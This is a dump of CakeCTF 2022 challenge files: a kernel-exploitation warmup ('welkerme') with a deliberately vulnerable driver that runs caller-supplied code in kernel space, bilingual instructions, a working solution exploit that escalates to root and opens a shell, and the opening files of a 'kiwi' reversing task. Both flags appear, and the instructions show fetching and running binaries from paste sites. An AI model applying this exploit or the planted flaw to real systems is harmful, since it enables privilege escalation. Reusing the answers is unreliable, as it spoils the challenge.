https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/challenge/qemu/rootfs.cpio
--------------------------------------------------------------------------------
/pwn/welkerme/challenge/qemu/run_qemu.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | LENGTH=9
3 | STRENGTH=26
4 | challenge=`dd bs=32 count=1 if=/dev/urandom 2>/dev/null | base64 | tr +/ _. | cut -c -$LENGTH`
5 | echo hashcash -mb$STRENGTH $challenge
6 |
7 | echo "hashcash token: "
8 | read token
9 | if [ `expr "$token" : "^[a-zA-Z0-9\_\+\.\:\/]\{52\}$"` -eq 52 ]; then
10 | hashcash -cdb$STRENGTH -f /tmp/hashcash.sdb -r $challenge $token 2> /dev/null
11 | if [ $? -eq 0 ]; then
12 | echo "[+] Correct"
13 | else
14 | echo "[-] Wrong"
15 | exit
16 | fi
17 | else
18 | echo "[-] Invalid token"
19 | exit
20 | fi
21 |
22 | cd /home/kosenctfx/welkerme/challenge/qemu
23 | exec qemu-system-x86_64 \
24 | -m 64M \
25 | -nographic \
26 | -kernel bzImage \
27 | -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
28 | -no-reboot \
29 | -cpu kvm64 \
30 | -monitor /dev/null \
31 | -initrd rootfs.cpio \
32 | -net nic,model=virtio \
33 | -net user
34 |
--------------------------------------------------------------------------------
/pwn/welkerme/challenge/src/Makefile:
--------------------------------------------------------------------------------
1 | obj-m := driver.o
2 | #KBUILD_DIR := /lib/modules/$(KVERSION)/build
3 | KBUILD_DIR := /home/ptr/armoury/buildroot/output/build/linux-5.18.1
4 |
5 | all:
6 | $(MAKE) -C $(KBUILD_DIR) M=$(shell pwd) modules
7 |
8 | clean:
9 | $(MAKE) -C $(KBUILD_DIR) M=$(shell pwd) clean
10 |
--------------------------------------------------------------------------------
/pwn/welkerme/challenge/src/driver.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | MODULE_LICENSE("GPL");
10 | MODULE_AUTHOR("ptr-yudai");
11 | MODULE_DESCRIPTION("welkerme - CakeCTF 2022");
12 |
13 | #define DEVICE_NAME "welkerme"
14 | #define CMD_ECHO 0xc0de0001
15 | #define CMD_EXEC 0xc0de0002
16 |
17 | static int module_open(struct inode *inode, struct file *filp) {
18 | printk("'module_open' called\n");
19 | return 0;
20 | }
21 |
22 | static int module_close(struct inode *inode, struct file *filp) {
23 | printk("'module_close' called\n");
24 | return 0;
25 | }
26 |
27 | static long module_ioctl(struct file *filp,
28 | unsigned int cmd,
29 | unsigned long arg) {
30 | long (*code)(void);
31 | printk("'module_ioctl' called with cmd=0x%08x\n", cmd);
32 |
33 | switch (cmd) {
34 | case CMD_ECHO:
35 | printk("CMD_ECHO: arg=0x%016lx\n", arg);
36 | return arg;
37 |
38 | case CMD_EXEC:
39 | printk("CMD_EXEC: arg=0x%016lx\n", arg);
40 | code = (long (*)(void))(arg);
41 | return code();
42 |
43 | default:
44 | return -EINVAL;
45 | }
46 | }
47 |
48 | static struct file_operations module_fops = {
49 | .owner = THIS_MODULE,
50 | .open = module_open,
51 | .release = module_close,
52 | .unlocked_ioctl = module_ioctl
53 | };
54 |
55 | static dev_t dev_id;
56 | static struct cdev c_dev;
57 |
58 | static int __init module_initialize(void)
59 | {
60 | if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
61 | return -EBUSY;
62 |
63 | cdev_init(&c_dev, &module_fops);
64 | c_dev.owner = THIS_MODULE;
65 |
66 | if (cdev_add(&c_dev, dev_id, 1)) {
67 | unregister_chrdev_region(dev_id, 1);
68 | return -EBUSY;
69 | }
70 |
71 | return 0;
72 | }
73 |
74 | static void __exit module_cleanup(void)
75 | {
76 | cdev_del(&c_dev);
77 | unregister_chrdev_region(dev_id, 1);
78 | }
79 |
80 | module_init(module_initialize);
81 | module_exit(module_cleanup);
82 |
--------------------------------------------------------------------------------
/pwn/welkerme/challenge/src/driver.ko:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/challenge/src/driver.ko
--------------------------------------------------------------------------------
/pwn/welkerme/distfiles/Makefile:
--------------------------------------------------------------------------------
1 | exploit: exploit.c
2 | gcc exploit.c -o exploit -static
3 |
4 | run: exploit
5 | # clean up
6 | rm -rf vm/mount
7 | mkdir -p vm/mount
8 | # copy exploit
9 | cd vm/mount; cpio -idv < ../rootfs.cpio
10 | cp exploit vm/mount/exploit
11 | cd vm/mount; find . -print0 \
12 | | cpio -o --null --format=newc --owner root > ../rootfs.cpio
13 | # run qemu
14 | ./run.sh
15 |
16 | debug: exploit vm/mount
17 | # clean up
18 | rm -rf vm/mount
19 | mkdir -p vm/mount
20 | # copy exploit
21 | cd vm/mount; cpio -idv < ../debugfs.cpio
22 | cp exploit vm/mount/exploit
23 | cd vm/mount; find . -print0 \
24 | | cpio -o --null --format=newc --owner root > ../debugfs.cpio
25 | # run qemu (debug port: 12345)
26 | ./debug.sh
27 |
--------------------------------------------------------------------------------
/pwn/welkerme/distfiles/README.ja.md:
--------------------------------------------------------------------------------
1 | # welkerme
2 | カーネルエクスプロイトの世界へようこそ!
3 | この問題では、Linuxカーネルにおける権限昇格について勉強しましょう。
4 | リモートサーバーで`/root/flag.txt`に書かれたフラグを読むのがゴールです。
5 |
6 | ## 最初の一歩
7 | ### セットアップ
8 | qemu, cpioと開発者ツールをインストールしてください。
9 | ```
10 | # apt install qemu-system cpio gcc gdb make
11 | ```
12 |
13 | ### 起動
14 | 次のコマンドでVMを起動できます。
15 | ```
16 | $ make run
17 | ```
18 |
19 | ### デバッグ
20 | QEMUのデバッグも可能です。まず、VMを
21 | ```
22 | $ make debug
23 | ```
24 | で実行し、12345番ポートにgdbでアタッチしてください。
25 | ```
26 | $ gdb
27 | gdb> target remote localhost:12345
28 | ```
29 | 何らかの理由でこのポート番号が使えない場合、
30 | `debug.sh`の最終行を変更することで番号を変えられます。
31 |
32 | ## エクスプロイトの開発
33 | このOSは脆弱なカーネルモジュールを実行しています。
34 | ```
35 | [ welkerme - CakeCTF 2022 ]
36 | / $ lsmod
37 | Module Size Used by Tainted: G
38 | driver 16384 0
39 | ```
40 | ソースコードは`src/driver.c`に書かれています。
41 | `module_ioctl`をチェックすると良いかも...?
42 |
43 | `exploit.c`を改造してエクスプロイトを完成させてください。
44 |
45 | ## リモートでの実行
46 | エクスプロイトが上手く書けたら、リモートサーバーで試してみましょう。
47 |
48 |
49 | ### Proof-of-Work
50 | まず、Proof-of-Workを解く必要があります。
51 | ```
52 | $ nc pwn2.2022.cakectf.com 9999
53 | hashcash -mb26 x3.lIBh9s
54 | hashcash token:
55 | ```
56 | 新しいターミナルを開き、上のPoWの接続は切らないでください。
57 | `hashcash`を持っていない場合はインストールしてください。
58 | ```
59 | # apt install hashcash
60 | ```
61 | サーバーに提示されたコマンドを実行すると、次のような結果が得られます。
62 | ```
63 | $ hashcash -mb26 x3.lIBh9s
64 | hashcash token: 1:26:220902:x3.libh9s::7icDDK3+4NzsByUH:00000002pd8m
65 | hashcash -mb26 x3.lIBh9s 5.79s user 0.00s system 99% cpu 5.797 total
66 | ```
67 | 問題サーバーにアクセスするにはtokenを送る必要があります。
68 | ```
69 | $ nc pwn2.2022.cakectf.com 9999
70 | hashcash -mb26 x3.lIBh9s
71 | hashcash token:
72 | 1:26:220902:x3.libh9s::7icDDK3+4NzsByUH:00000002pd8m
73 | ...
74 | ```
75 | PoWに関して分からないことがある場合、Discordで運営にお尋ねください。
76 |
77 | ### エクスプロイトの転送
78 | 自分のサーバーを持っている方は、サーバーからエクスプロイトをダウンロードしてください。
79 | (HTTPのみに対応!)
80 | ```
81 | / $ cd /tmp
82 | /tmp $ wget http:///exploit
83 | ```
84 |
85 | 自分のサーバーを持っていない方は、[sprunge](http://sprunge.us/)や
86 | [termbin](http://termbin.com/)などを利用できます。
87 | まず、サーバーにあなたのエクスプロイトをアップロードしてください。
88 | ```
89 | # sprunge
90 | $ base64 exploit | curl -F 'sprunge=<-' http://sprunge.us
91 | http://sprunge.us/XXXXXX
92 |
93 | # termbin (File size must be small enough)
94 | $ base64 exploit | nc termbin.com 9999
95 | https://termbin.com/YYYY
96 | ```
97 | 上の例に示したように、base64でファイルをエンコードしないと壊れる可能性があります。
98 | また、termbinは小さいサイズのファイルしか受け付けません。termbinを使う場合、[musl-gcc](https://www.musl-libc.org/how.html)を使って小さいバイナリを作れます。
99 | アップロードが完了したら、生成されたURLからエクスプロイトをダウンロードできます。
100 | ```
101 | / $ cd /tmp
102 |
103 | # sprunge
104 | /tmp $ wget http://sprunge.us/XXXXXX -O exploit.b64
105 | /tmp $ base64 -d exploit.b64 > exploit
106 | /tmp $ chmod +x exploit
107 |
108 | # termbin (httpsをhttpに変えること!)
109 | /tmp $ wget http://termbin.com/YYYY -O exploit.b64
110 | /tmp $ base64 -d exploit.b64 > exploit
111 | /tmp $ chmod +x exploit
112 | ```
113 |
114 | ## ヒント
115 | `exploit.c`の関数`func`は、`CMD_EXEC`によってカーネル空間で実行されています。
116 | 基本的に、権限昇格のためにカーネル空間で次のコードを実行させたいです。
117 | ```c
118 | commit_creds(prepare_kernel_cred(NULL));
119 | ```
120 | `prepare_kernel_cred(NULL)`はもっとも高い権限で新しい認証情報を作成します。
121 | `commit_creds(cred)`は認証情報を呼び出し元プロセスに設定します。
122 |
123 | 各関数のアドレスは`/proc/kallsync`に記載されています。(デバッグモードを使用してください)
124 | ```
125 | / # grep commit_creds /proc/kallsyms
126 | ffffffff81072540 T commit_creds
127 | ```
128 | 頑張ってください。
129 |
130 | ## 参考になる文献
131 | この問題はもっとも簡単なカーネルエクスプロイトです。
132 | しかし、もし詰まった場合は、次のサイトなどが助けになるかもしれません。
133 | これらの記事は、この問題より少し複雑なエクスプロイトについて説明していることには注意してください。
134 |
135 | - [Learning Linux Kernel Exploitation](https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/#the-simplest-exploit---ret2usr) by Midas (英語)
136 | - [Linux Kernel Exploit 内核漏洞学习(2)-ROP](https://bbs.pediy.com/thread-253377.htm#msg_header_h1_5) by 钞sir (中国語)
137 | - [PAWNYABLE!](https://pawnyable.cafe/linux-kernel/LK01/stack_overflow.html#ret2user-ret2usr) by ptr-yudai (日本語)
138 | - [Exploit Tech: ret2usr](https://learn.dreamhack.io/82#t572) by Dreamhack (韓国語)
139 |
140 | 最後に重要なことですが、Google検索は常にあなたの味方です。
141 |
--------------------------------------------------------------------------------
/pwn/welkerme/distfiles/README.md:
--------------------------------------------------------------------------------
1 | # welkerme
2 | Welcome to Kernel Exploit!
3 | In this challenge, you're going to learn how to escalate privilege in Linux kernel.
4 | The goal is to read the flag written in `/root/flag.txt` on the remote server.
5 |
6 | ## First Step
7 | ### Setup
8 | Install qemu, cpio, and some developer tools.
9 | ```
10 | # apt install qemu-system cpio gcc gdb make
11 | ```
12 |
13 | ### Run
14 | You can run VM with the following command:
15 | ```
16 | $ make run
17 | ```
18 |
19 | ### Debug
20 | You can also debug QEMU. First, run the VM by
21 | ```
22 | $ make debug
23 | ```
24 | and then attach to port 12345 with gdb.
25 | ```
26 | $ gdb
27 | gdb> target remote localhost:12345
28 | ```
29 | If you can't use this port number for some reason,
30 | you can change it by changing the last line of `debug.sh`.
31 |
32 | ## Developing Exploit
33 | The OS is running a vulnerable kernel module.
34 | ```
35 | [ welkerme - CakeCTF 2022 ]
36 | / $ lsmod
37 | Module Size Used by Tainted: G
38 | driver 16384 0
39 | ```
40 | You can find the source code of this driver in `src/driver.c`.
41 | Probably you should check `module_ioctl` function :)
42 |
43 | Edit `exploit.c` to develop your exploit.
44 |
45 | ## Testing on Remote
46 | If you successfully finish writing your exploit,
47 | you can try it on the remote server.
48 |
49 | ### Proof-of-Work
50 | You will be asked to solve a Proof-of-Work first.
51 | ```
52 | $ nc pwn2.2022.cakectf.com 9999
53 | hashcash -mb26 x3.lIBh9s
54 | hashcash token:
55 | ```
56 | Open a new terminal and keep the connection of the PoW above.
57 | Install `hashcash` if you don't have one.
58 | ```
59 | # apt install hashcash
60 | ```
61 | Run the command given by the server and you'll get something like this:
62 | ```
63 | $ hashcash -mb26 x3.lIBh9s
64 | hashcash token: 1:26:220902:x3.libh9s::7icDDK3+4NzsByUH:00000002pd8m
65 | hashcash -mb26 x3.lIBh9s 5.79s user 0.00s system 99% cpu 5.797 total
66 | ```
67 | You must send the token to get access to the challenge.
68 | ```
69 | $ nc pwn2.2022.cakectf.com 9999
70 | hashcash -mb26 x3.lIBh9s
71 | hashcash token:
72 | 1:26:220902:x3.libh9s::7icDDK3+4NzsByUH:00000002pd8m
73 | ...
74 | ```
75 | Feel free to ask admin on Discord if you have any trouble about PoW.
76 |
77 | ### Sending Your Exploit
78 | If you have your own server, you can simply download your exploit
79 | from your server. (HTTP only!)
80 | ```
81 | / $ cd /tmp
82 | /tmp $ wget http:///exploit
83 | ```
84 |
85 | If you don't have your own server, you may use [sprunge](http://sprunge.us/)
86 | or [termbin](http://termbin.com/).
87 | First, upload your exploit to the server.
88 | ```
89 | # sprunge
90 | $ base64 exploit | curl -F 'sprunge=<-' http://sprunge.us
91 | http://sprunge.us/XXXXXX
92 |
93 | # termbin (File size must be small enough)
94 | $ base64 exploit | nc termbin.com 9999
95 | https://termbin.com/YYYY
96 | ```
97 | As shown in the example above, use base64 or the file may corrupt.
98 | Also, be noted that termbin only accepts small files. You can use [musl-gcc](https://www.musl-libc.org/how.html) to make a small binary if you choose to use termbin.
99 | After finishing upload, you can download the exploit from the URL generated.
100 | ```
101 | / $ cd /tmp
102 |
103 | # sprunge
104 | /tmp $ wget http://sprunge.us/XXXXXX -O exploit.b64
105 | /tmp $ base64 -d exploit.b64 > exploit
106 | /tmp $ chmod +x exploit
107 |
108 | # termbin (Change https to http!)
109 | /tmp $ wget http://termbin.com/YYYY -O exploit.b64
110 | /tmp $ base64 -d exploit.b64 > exploit
111 | /tmp $ chmod +x exploit
112 | ```
113 |
114 | ## Hint
115 | The function `func` in `exploit.c` is executed in the kernel space by `CMD_EXEC`.
116 | Basically, you want to run the following code in the kernel space to escalate privilege.
117 | ```c
118 | commit_creds(prepare_kernel_cred(NULL));
119 | ```
120 | `prepare_kernel_cred(NULL)` creates a new credential with the highest privilege.
121 | `commit_creds(cred)` applies the credential to the caller process.
122 |
123 | You can find the address of each function in `/proc/kallsyms`. (Use debug mode)
124 | ```
125 | / # grep commit_creds /proc/kallsyms
126 | ffffffff81072540 T commit_creds
127 | ```
128 | Good luck!
129 |
130 | ## Good Readings
131 | I believe this challenge is the easiest kernel exploit.
132 | If you're stuck, however, the following websites may help you.
133 | Be noted these posts explain a bit more complex exploit than this challenge.
134 |
135 | - [Learning Linux Kernel Exploitation](https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/#the-simplest-exploit---ret2usr) by Midas (English)
136 | - [Linux Kernel Exploit 内核漏洞学习(2)-ROP](https://bbs.pediy.com/thread-253377.htm#msg_header_h1_5) by 钞sir (Chinese)
137 | - [PAWNYABLE!](https://pawnyable.cafe/linux-kernel/) by ptr-yudai (Japanese)
138 | - [Exploit Tech: ret2usr](https://learn.dreamhack.io/82#t572) by Dreamhack (Korean)
139 |
140 | Last but not least, Google search is always with you.
141 |
--------------------------------------------------------------------------------
/pwn/welkerme/distfiles/debug.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | exec qemu-system-x86_64 \
3 | -m 64M \
4 | -nographic \
5 | -kernel vm/bzImage \
6 | -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
7 | -no-reboot \
8 | -cpu qemu64 \
9 | -monitor /dev/null \
10 | -initrd vm/debugfs.cpio \
11 | -net nic,model=virtio \
12 | -net user \
13 | -gdb tcp::12345
14 |
--------------------------------------------------------------------------------
/pwn/welkerme/distfiles/exploit.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #define CMD_ECHO 0xc0de0001
9 | #define CMD_EXEC 0xc0de0002
10 |
11 | int func(void) {
12 | return 31337;
13 | }
14 |
15 | int main(void) {
16 | int fd, ret;
17 |
18 | if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
19 | perror("/dev/welkerme");
20 | exit(1);
21 | }
22 |
23 | ret = ioctl(fd, CMD_ECHO, 12345);
24 | printf("CMD_ECHO(12345) --> %d\n", ret);
25 |
26 | ret = ioctl(fd, CMD_EXEC, (long)func);
27 | printf("CMD_EXEC(func) --> %d\n", ret);
28 |
29 | close(fd);
30 | return 0;
31 | }
32 |
--------------------------------------------------------------------------------
/pwn/welkerme/distfiles/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | exec qemu-system-x86_64 \
3 | -m 64M \
4 | -nographic \
5 | -kernel vm/bzImage \
6 | -append "console=ttyS0 loglevel=3 oops=panic panic=-1 nopti nokaslr" \
7 | -no-reboot \
8 | -cpu qemu64 \
9 | -monitor /dev/null \
10 | -initrd vm/rootfs.cpio \
11 | -net nic,model=virtio \
12 | -net user
13 |
--------------------------------------------------------------------------------
/pwn/welkerme/distfiles/src/driver.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | MODULE_LICENSE("GPL");
10 | MODULE_AUTHOR("ptr-yudai");
11 | MODULE_DESCRIPTION("welkerme - CakeCTF 2022");
12 |
13 | #define DEVICE_NAME "welkerme"
14 | #define CMD_ECHO 0xc0de0001
15 | #define CMD_EXEC 0xc0de0002
16 |
17 | static int module_open(struct inode *inode, struct file *filp) {
18 | printk("'module_open' called\n");
19 | return 0;
20 | }
21 |
22 | static int module_close(struct inode *inode, struct file *filp) {
23 | printk("'module_close' called\n");
24 | return 0;
25 | }
26 |
27 | static long module_ioctl(struct file *filp,
28 | unsigned int cmd,
29 | unsigned long arg) {
30 | long (*code)(void);
31 | printk("'module_ioctl' called with cmd=0x%08x\n", cmd);
32 |
33 | switch (cmd) {
34 | case CMD_ECHO:
35 | printk("CMD_ECHO: arg=0x%016lx\n", arg);
36 | return arg;
37 |
38 | case CMD_EXEC:
39 | printk("CMD_EXEC: arg=0x%016lx\n", arg);
40 | code = (long (*)(void))(arg);
41 | return code();
42 |
43 | default:
44 | return -EINVAL;
45 | }
46 | }
47 |
48 | static struct file_operations module_fops = {
49 | .owner = THIS_MODULE,
50 | .open = module_open,
51 | .release = module_close,
52 | .unlocked_ioctl = module_ioctl
53 | };
54 |
55 | static dev_t dev_id;
56 | static struct cdev c_dev;
57 |
58 | static int __init module_initialize(void)
59 | {
60 | if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
61 | return -EBUSY;
62 |
63 | cdev_init(&c_dev, &module_fops);
64 | c_dev.owner = THIS_MODULE;
65 |
66 | if (cdev_add(&c_dev, dev_id, 1)) {
67 | unregister_chrdev_region(dev_id, 1);
68 | return -EBUSY;
69 | }
70 |
71 | return 0;
72 | }
73 |
74 | static void __exit module_cleanup(void)
75 | {
76 | cdev_del(&c_dev);
77 | unregister_chrdev_region(dev_id, 1);
78 | }
79 |
80 | module_init(module_initialize);
81 | module_exit(module_cleanup);
82 |
--------------------------------------------------------------------------------
/pwn/welkerme/distfiles/vm/bzImage:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/distfiles/vm/bzImage
--------------------------------------------------------------------------------
/pwn/welkerme/distfiles/vm/debugfs.cpio:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/distfiles/vm/debugfs.cpio
--------------------------------------------------------------------------------
/pwn/welkerme/distfiles/vm/rootfs.cpio:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/pwn/welkerme/distfiles/vm/rootfs.cpio
--------------------------------------------------------------------------------
/pwn/welkerme/solution/exploit.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #define CMD_ECHO 0xc0de0001
9 | #define CMD_EXEC 0xc0de0002
10 |
11 | int escalate_privilege(void) {
12 | void (*commit_creds)(void*) = 0xffffffff81072540UL;
13 | void* (*prepare_kernel_cred)(void*) = 0xffffffff810726e0UL;
14 | commit_creds(prepare_kernel_cred(NULL));
15 | return 31337;
16 | }
17 |
18 | int main(void) {
19 | int fd, ret;
20 |
21 | if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
22 | perror("/dev/welkerme");
23 | exit(1);
24 | }
25 |
26 | ioctl(fd, CMD_EXEC, (long)escalate_privilege);
27 | system("/bin/sh");
28 |
29 | close(fd);
30 | return 0;
31 | }
32 |
--------------------------------------------------------------------------------
/pwn/welkerme/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: welkerme
3 | description: >
4 | Introduction to Linux Kernel Exploit :)
5 | nc {host} {port}
6 | * There is a limit to the number of connections. Wait 5 minutes if you cannot connect.
7 | flag: "CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}"
8 | author: ptr-yudai
9 | host: pwn2.2022.cakectf.com
10 | port: 9999
11 | tags:
12 | - pwn
13 | - warmup
14 | is_survey: false
15 |
--------------------------------------------------------------------------------
/rev/kiwi/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM debian:bookworm-slim
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | RUN apt-get -y update --fix-missing && apt-get -y upgrade
6 | RUN apt-get -y install xinetd
7 | RUN groupadd -r ctf && useradd -r -g ctf ctf
8 |
9 | ADD challenge/ctf.xinetd /etc/xinetd.d/ctf
10 | ADD challenge/init.sh /etc/init.sh
11 | ADD challenge/redir.sh /home/ctf/.redir.sh
12 | RUN chmod 550 /home/ctf/.redir.sh
13 | RUN chmod 700 /etc/init.sh
14 | RUN chmod 1733 /tmp /var/tmp /dev/shm
15 |
16 | WORKDIR /home/ctf
17 | ADD challenge/flag.txt flag.txt
18 | ADD distfiles/chall chall
19 | RUN chmod 440 flag.txt
20 | RUN chmod 550 chall
21 |
22 | RUN chown -R root:ctf /home/ctf
23 |
24 | RUN ls /home/ctf -lh
25 |
26 | RUN service xinetd restart
27 |
--------------------------------------------------------------------------------
/rev/kiwi/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | g++ main.cpp -std=c++11 -o chall
3 |
--------------------------------------------------------------------------------
/rev/kiwi/challenge/cakectf.hpp:
--------------------------------------------------------------------------------
1 | #include "kiwi.h"
2 |
3 | namespace cakectf {
4 |
5 | #ifndef INCLUDE_CAKECTF_H
6 | #define INCLUDE_CAKECTF_H
7 |
8 | class BinarySchema {
9 | public:
10 | bool parse(kiwi::ByteBuffer &bb);
11 | const kiwi::BinarySchema &underlyingSchema() const { return _schema; }
12 | bool skipEncryptionKeyField(kiwi::ByteBuffer &bb, uint32_t id) const;
13 |
14 | private:
15 | kiwi::BinarySchema _schema;
16 | uint32_t _indexEncryptionKey = 0;
17 | };
18 |
19 | class EncryptionKey;
20 |
21 | class EncryptionKey {
22 | public:
23 | EncryptionKey() { (void)_flags; }
24 |
25 | uint32_t *magic();
26 | const uint32_t *magic() const;
27 | void set_magic(const uint32_t &value);
28 |
29 | kiwi::Array *key();
30 | const kiwi::Array *key() const;
31 | kiwi::Array &set_key(kiwi::MemoryPool &pool, uint32_t count);
32 |
33 | bool encode(kiwi::ByteBuffer &bb);
34 | bool decode(kiwi::ByteBuffer &bb, kiwi::MemoryPool &pool, const BinarySchema *schema = nullptr);
35 |
36 | private:
37 | uint32_t _flags[1] = {};
38 | kiwi::Array _data_key = {};
39 | uint32_t _data_magic = {};
40 | };
41 |
42 | #endif
43 | #ifdef IMPLEMENT_SCHEMA_H
44 |
45 | bool BinarySchema::parse(kiwi::ByteBuffer &bb) {
46 | if (!_schema.parse(bb)) return false;
47 | _schema.findDefinition("EncryptionKey", _indexEncryptionKey);
48 | return true;
49 | }
50 |
51 | bool BinarySchema::skipEncryptionKeyField(kiwi::ByteBuffer &bb, uint32_t id) const {
52 | return _schema.skipField(bb, _indexEncryptionKey, id);
53 | }
54 |
55 | uint32_t *EncryptionKey::magic() {
56 | return _flags[0] & 1 ? &_data_magic : nullptr;
57 | }
58 |
59 | const uint32_t *EncryptionKey::magic() const {
60 | return _flags[0] & 1 ? &_data_magic : nullptr;
61 | }
62 |
63 | void EncryptionKey::set_magic(const uint32_t &value) {
64 | _flags[0] |= 1; _data_magic = value;
65 | }
66 |
67 | kiwi::Array *EncryptionKey::key() {
68 | return _flags[0] & 2 ? &_data_key : nullptr;
69 | }
70 |
71 | const kiwi::Array *EncryptionKey::key() const {
72 | return _flags[0] & 2 ? &_data_key : nullptr;
73 | }
74 |
75 | kiwi::Array &EncryptionKey::set_key(kiwi::MemoryPool &pool, uint32_t count) {
76 | _flags[0] |= 2; return _data_key = pool.array(count);
77 | }
78 |
79 | bool EncryptionKey::encode(kiwi::ByteBuffer &_bb) {
80 | if (magic() != nullptr) {
81 | _bb.writeVarUint(1);
82 | _bb.writeVarUint(_data_magic);
83 | }
84 | if (key() != nullptr) {
85 | _bb.writeVarUint(2);
86 | _bb.writeVarUint(_data_key.size());
87 | for (uint8_t &_it : _data_key) _bb.writeByte(_it);
88 | }
89 | _bb.writeVarUint(0);
90 | return true;
91 | }
92 |
93 | bool EncryptionKey::decode(kiwi::ByteBuffer &_bb, kiwi::MemoryPool &_pool, const BinarySchema *_schema) {
94 | uint32_t _count;
95 | while (true) {
96 | uint32_t _type;
97 | if (!_bb.readVarUint(_type)) return false;
98 | switch (_type) {
99 | case 0:
100 | return true;
101 | case 1: {
102 | if (!_bb.readVarUint(_data_magic)) return false;
103 | set_magic(_data_magic);
104 | break;
105 | }
106 | case 2: {
107 | if (!_bb.readVarUint(_count)) return false;
108 | for (uint8_t &_it : set_key(_pool, _count)) if (!_bb.readByte(_it)) return false;
109 | break;
110 | }
111 | default: {
112 | if (!_schema || !_schema->skipEncryptionKeyField(_bb, _type)) return false;
113 | break;
114 | }
115 | }
116 | }
117 | }
118 |
119 | #endif
120 |
121 | }
122 |
--------------------------------------------------------------------------------
/rev/kiwi/challenge/cakectf.kiwi:
--------------------------------------------------------------------------------
1 | package cakectf;
2 |
3 | message EncryptionKey {
4 | uint magic = 1;
5 | byte[] key = 2;
6 | }
7 |
--------------------------------------------------------------------------------
/rev/kiwi/challenge/ctf.xinetd:
--------------------------------------------------------------------------------
1 | service challenge
2 | {
3 | disable = no
4 | socket_type = stream
5 | protocol = tcp
6 | wait = no
7 | user = ctf
8 | type = UNLISTED
9 | bind = 0.0.0.0
10 | port = 9999
11 | server = /home/ctf/.redir.sh
12 | rlimit_as = 1024M
13 | }
--------------------------------------------------------------------------------
/rev/kiwi/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | CakeCTF{w3_n33d_t0_pr3v3nt_Google_fr0m_st4nd4rd1z1ng_ev3ryth1ng}
2 |
--------------------------------------------------------------------------------
/rev/kiwi/challenge/init.sh:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | service xinetd restart && /bin/sleep infinity
3 |
--------------------------------------------------------------------------------
/rev/kiwi/challenge/main.cpp:
--------------------------------------------------------------------------------
1 | #define IMPLEMENT_KIWI_H
2 | #define IMPLEMENT_SCHEMA_H
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include "cakectf.hpp"
10 |
11 | int readFlag(std::string &flag) {
12 | std::ifstream ifs("./flag.txt");
13 |
14 | if (ifs.fail())
15 | return 1;
16 |
17 | getline(ifs, flag);
18 | return 0;
19 | }
20 |
21 | int readKey(kiwi::ByteBuffer &message) {
22 | std::vector bytes_key;
23 | std::string hex_key;
24 |
25 | std::cout << "Enter key: ";
26 | std::cin >> hex_key;
27 | if (!std::cin.good())
28 | return 1;
29 |
30 | try {
31 | boost::algorithm::unhex(hex_key, std::back_inserter(bytes_key));
32 | } catch(...) {
33 | return 1;
34 | }
35 | for (uint8_t c: bytes_key) {
36 | message.writeByte(c);
37 | }
38 |
39 | return 0;
40 | }
41 |
42 | int checkMessage(const cakectf::EncryptionKey &enckey) {
43 | if (enckey.magic() == nullptr)
44 | return 1;
45 | if (*enckey.magic() != 0xCAFEC4F3)
46 | return 1;
47 | if (enckey.key() == nullptr)
48 | return 1;
49 | if (enckey.key()->size() < 8)
50 | return 1;
51 |
52 | return 0;
53 | }
54 |
55 | std::vector encryptFlag(const std::string &flag,
56 | const kiwi::Array &key) {
57 | std::vector enc_flag;
58 | enc_flag.reserve(flag.size());
59 |
60 | for (size_t i = 0; i < flag.size(); i++) {
61 | enc_flag.emplace_back(flag[i] ^ key.data()[i % key.size()] ^ 0xff ^ i);
62 | }
63 |
64 | return enc_flag;
65 | }
66 |
67 | int main() {
68 | std::string flag;
69 | kiwi::ByteBuffer message;
70 | kiwi::MemoryPool pool;
71 | cakectf::EncryptionKey enckey;
72 |
73 | std::setbuf(stdin, NULL);
74 | std::setbuf(stdout, NULL);
75 | std::setbuf(stderr, NULL);
76 |
77 | if (readFlag(flag)) {
78 | std::cerr << "[-] Failed to open flag." << std::endl;
79 | return 1;
80 | }
81 | if (readKey(message)) {
82 | std::cerr << "[-] Failed to read key." << std::endl;
83 | return 1;
84 | }
85 |
86 | if (!enckey.decode(message, pool)) {
87 | std::cerr << "[-] Failed to decode key." << std::endl;
88 | return 1;
89 | }
90 | if (checkMessage(enckey)) {
91 | std::cerr << "[-] Invalid key." << std::endl;
